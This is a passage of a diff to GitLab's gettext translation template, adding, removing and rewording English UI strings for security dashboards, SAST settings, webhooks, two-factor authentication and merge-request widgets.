+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21181,6 +21798,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21208,7 +21828,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21244,13 +21864,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Edit dashboard"
-msgstr ""
-
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21265,19 +21882,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21289,6 +21900,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21307,13 +21921,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21385,7 +21999,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21394,6 +22008,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21424,9 +22041,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21550,6 +22164,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21580,6 +22197,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21769,6 +22389,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21781,6 +22407,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22095,19 +22727,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22203,6 +22835,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22245,7 +22880,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22296,12 +22931,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22359,6 +23003,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22488,10 +23135,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23388,6 +24035,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23436,6 +24086,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23448,6 +24101,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23627,6 +24283,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23694,9 +24356,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23733,14 +24392,11 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23767,6 +24423,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23797,6 +24456,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23851,6 +24513,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -23951,13 +24619,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -23996,6 +24664,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24113,6 +24784,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24188,12 +24862,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24206,6 +24883,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24356,19 +25036,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24392,6 +25072,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24422,7 +25105,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24596,9 +25279,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24761,15 +25441,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24830,6 +25510,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25201,9 +25884,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25288,9 +25968,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25312,9 +25998,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25375,6 +26058,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25519,6 +26205,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25588,9 +26277,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25606,10 +26304,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
+msgstr ""
+
+msgid "Two-factor authentication disabled"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25792,7 +26502,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -25882,6 +26592,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -25963,9 +26676,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -25981,7 +26691,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26056,7 +26766,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26146,9 +26856,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26200,9 +26907,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26446,9 +27150,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26482,6 +27192,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26518,6 +27231,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26560,6 +27276,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26760,6 +27482,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26823,9 +27548,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -26967,7 +27689,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27012,6 +27734,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27033,21 +27839,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27057,6 +27863,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27373,10 +28182,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27385,6 +28194,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27394,6 +28209,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27430,9 +28248,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27466,13 +28281,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27556,10 +28371,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27772,6 +28587,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27847,7 +28665,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -27964,6 +28782,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28091,6 +28912,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28392,12 +29216,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28551,6 +29369,10 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+
msgid "group"
msgstr ""
@@ -28596,9 +29418,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28639,6 +29458,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28787,9 +29609,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28802,6 +29630,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -28874,9 +29705,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -28910,12 +29738,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -28997,19 +29819,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
